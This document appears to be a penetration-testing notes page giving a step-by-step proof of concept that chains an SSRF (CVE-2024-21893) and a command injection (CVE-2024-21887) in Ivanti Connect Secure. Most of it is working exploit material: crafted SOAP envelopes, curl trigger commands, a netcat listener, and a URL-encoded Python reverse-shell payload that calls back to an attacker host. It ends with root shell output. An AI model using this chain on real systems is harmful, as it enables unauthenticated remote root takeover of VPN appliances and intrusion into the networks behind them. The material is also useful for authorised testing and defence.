# Ivanti - CVE-2024-21893 / 21887

**CVE-2024-21893** is a <mark style="color:red;">**server-side request forgery vulnerability**</mark> in the SAML component which allows an attacker to access certain restricted resources **without authentication**.

**CVE-2024-21887** is a <mark style="color:red;">**command injection vulnerability**</mark> which allows an **authenticated administrator** to send specially crafted requests and execute arbitrary commands on the appliance.

Both vulnerabilities affect Ivanti Connect Secure (9.x, 22.x), Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA. <mark style="color:red;">When used together it allows an unauthenticated user to execute commands on the vulnerable target system.</mark>

### SSRF POC

To perform an SSRF and make `saml-server` perform an HTTP request to a machine we control (192.168.86.35 in the below example), the following SOAP envelope can be used (saved to a file called post\_data.xml).

```xml
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
			<ds:SignedInfo>
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
			</ds:SignedInfo>
			<ds:SignatureValue>qwerty</ds:SignatureValue>
			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
				<ds:RetrievalMethod URI="http://192.168.86.35:4488/exploit.se"/>
				<ds:X509Data/>
			</ds:KeyInfo>
			<ds:Object></ds:Object>
		</ds:Signature>
	</soap:Body>
</soap:Envelope>
```

Trigger the SSRF with a simple cURL request to the Ivanti Connect Secure appliance (192.168.86.111 in the example below):

```bash
curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws
```

Capture the callback from the vulnerable server with netcat.

```bash
> nc -lvnp 4488
GET /exploit.se HTTP/1.0
Host: 192.168.86.35:4444
```

***

### Chaining SSRF and **CVE-2024-21887 for RCE**

The injection vulnerability exists in the `/api/v1/license/keys-status` endpoint, and is reachable via a single HTTP GET request. &#x20;

The Python back end that services the `/api/v1/license/keys-status` endpoint listens on a locally bound port 8090. Therefore, we can exploit this command injection via an HTTP GET request to `http://127.0.0.1:8090/api/v1/license/keys-status` if the HTTP GET request occurs on the appliance itself, for example via an SSRF vulnerability. As authentication is performed by the front-end web server and not the back-end services, no authentication is needed. This allows us to leverage the SSRF vulnerability to bypass the original mitigation from Ivanti, which imposed filtering restrictions in the front-end web server.

Modify the SSRF URI as follows. This will trigger the command injection and run a Python-based reverse shell payload back to our attacker machine.

```http
http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4488%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B
```

Our XML SOAP envelope becomes as follows:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<ds:Signature
		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
			<ds:SignedInfo>
				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
			</ds:SignedInfo>
			<ds:SignatureValue>qwerty</ds:SignatureValue>
			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
				<ds:RetrievalMethod URI="http://127.0.0.1:8090/api/v1/license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22192%2E168%2E86%2E35%22%2C4488%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B"/>
				<ds:X509Data/>
			</ds:KeyInfo>
			<ds:Object></ds:Object>
		</ds:Signature>
	</soap:Body>
</soap:Envelope>
```

Trigger the SSRF vulnerability just like before, which in turn triggers the command injection vulnerability, ultimately giving us a reverse shell.

```purebasic
curl -ik -X POST -H "Content-Type: text/xml" --data @post_data.xml https://192.168.86.111/dana-ws/saml20.ws
```

```bash
> nc -lvnp 4488
...
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# pwd
/data/var/cores
```
